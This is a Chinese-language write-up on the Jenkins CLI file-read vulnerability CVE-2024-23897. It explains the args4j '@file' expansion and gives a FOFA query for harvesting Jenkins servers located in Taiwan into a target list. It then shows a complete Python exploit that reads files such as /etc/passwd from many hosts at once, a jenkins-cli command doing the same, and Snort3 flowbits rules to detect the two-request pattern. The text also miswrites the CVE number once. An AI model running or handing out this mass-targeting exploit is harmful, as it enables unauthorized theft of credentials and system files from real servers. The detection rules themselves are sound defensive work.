CVE-2024-23897是一个涉及Jenkins未授权文件读取的漏洞。它利用了Jenkins命令行接口(CLI)的特性,其中CLI使用args4j库解析命令行参数。args4j库具有一个特点,即当命令行参数以@字符开头时,该参数会被视为文件路径,并将该文件内容读取作为参数。利用这一特性,攻击者可以通过Jenkins CLI读取Jenkins服务器上的任意文件。
这段代码的主要问题在于它处理以@
字符开头的命令行参数时,会尝试将其视为文件路径,并读取该文件的内容。具体来说,如果参数以@
开头,它创建一个文件对象,检查该文件是否存在,如果存在,读取该文件的全部内容并将其添加到结果列表中。这种处理方式使得Jenkins易受到未授权文件读取漏洞的攻击,即CVE-2024-23879,例如,攻击者可能发送一个参数如@/etc/passwd
,导致Jenkins读取并泄露敏感的系统文件,另外ConnectNodeCommand提供了node_s提供报错回显,本来node_s是回显节点信息的,但是就如 同利⽤常⽤的报错回显⼀样,在回显节点信息的同时连带回显了我们要读取的⽂件内容。
header="X-Jenkins" || banner="X-Jenkins" || header="X-Hudson" || banner="X-Hudson" || header="X-Required-Permission: hudson.model.Hudson.Read" || banner="X-Required-Permission: hudson.model.Hudson.Read" || body="Jenkins-Agent-Protocols" && country="CN" && region="TW" 搜集台湾地址数据保存为txt文件备用
import argparse
import threading
import http.client
import uuid
import urllib.parse
# Color constants
RED = '\033[91m'
GREEN = '\033[92m'
YELLOW = '\033[93m'
ENDC = '\033[0m'
def format_url(url):
if not url.startswith('http://') and not url.startswith('https://'):
url = 'http://' + url
return url
def send_download_request(target_info, uuid_str):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "download"
})
response = conn.getresponse().read()
print(f"{GREEN}RESPONSE from {target_info.netloc}:{ENDC} {response}")
except Exception as e:
print(f"{RED}Error in download request:{ENDC} {str(e)}")
def send_upload_request(target_info, uuid_str, data):
try:
conn = http.client.HTTPConnection(target_info.netloc)
conn.request("POST", "/cli?remoting=false", headers={
"Session": uuid_str,
"Side": "upload",
"Content-type": "application/octet-stream"
}, body=data)
except Exception as e:
print(f"{RED}Error in upload request:{ENDC} {str(e)}")
def launch_exploit(target_url, file_path):
formatted_url = format_url(target_url)
target_info = urllib.parse.urlparse(formatted_url)
uuid_str = str(uuid.uuid4())
data = b'\x00\x00\x00\x06\x00\x00\x04help\x00\x00\x00\x0e\x00\x00\x0c@' + file_path.encode() + b'\x00\x00\x00\x05\x02\x00\x03GBK\x00\x00\x00\x07\x01\x00\x05en_US\x00\x00\x00\x00\x03'
upload_thread = threading.Thread(target=send_upload_request, args=(target_info, uuid_str, data))
download_thread = threading.Thread(target=send_download_request, args=(target_info, uuid_str))
upload_thread.start()
download_thread.start()
upload_thread.join()
download_thread.join()
def process_target_list(file_list, file_path):
with open(file_list, 'r') as file:
targets = [format_url(line.strip()) for line in file.readlines()]
for target in targets:
print(f"{YELLOW}Processing target:{ENDC} {target}")
launch_exploit(target, file_path)
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2024-23897.')
parser.add_argument('-u', '--url', help='Single target URL.')
parser.add_argument('-l', '--list', help='File with list of target hosts.')
parser.add_argument('-f', '--file', required=True, help='File path to read from the server.')
args = parser.parse_args()
if args.url:
launch_exploit(args.url, args.file)
elif args.list:
process_target_list(args.list, args.file)
else:
print(f"{RED}Error:{ENDC} Please provide a single target URL (-u) or a list of targets (-l).")
if __name__ == "__main__":
main()
执行命令python3 .\test.py -l .\test.txt -f /etc/passwd
发现没有OVER/READ权限的攻击者只可以读取部分文件内容
当然也可以使用jenkins-cli.jar官方工具,不过我没找到
命令是java -jar jenkins-cli.jar -s http://jenkins:8080/ connect-node "@/etc/passwd"
第一次发送的数据包为
第二次发送的数据包为
可以看到想要利用该漏洞需要发送两次数据包,并且可以将两次相同的URL作为拦截特点/cli?remoting=false 利用snort3中包含的flowbits功能对两个数据包的特征进行拦截。
flowbits
是Snort入侵检测系统中用于跟踪和控制网络流量状态的一个选项,允许规则之间共享状态信息,以便对分布在多个数据包中的复杂行为模式进行检测。flowbits
主要用于处理需要多步骤检测的威胁,如分段的攻击或多阶段恶意活动。主要的 flowbits
操作包括:
set
:设置一个特定的流量标记。unset
:清除一个特定的流量标记。isset
:检查是否已设置特定的流量标记。isnotset
:检查是否未设置特定的流量标记。toggle
:切换特定的流量标记状态。alert tcp any any -> any 80 (msg:"Possible Jenkins Server Exploit Attempt"; flow:to_server,established; http_method; content:"POST"; http_uri; content:"/cli?remoting=false"; http_client_body; content:"@/etc/passwd"; classtype:web-application-attack; flowbits:set,jenkins; flowbits:noalert;sid:1000001; rev:1;)
alert tcp any any -> any 80 (msg:"Detect POST request to Jenkins CLI with download side"; flow:to_server,established; http_method; content:"POST";http_uri; content:"/cli?remoting=false"; http_header; content:"Side: download"; flowbits:isset,jenkins; classtype:web-application-activity; sid:1000002; rev:1;)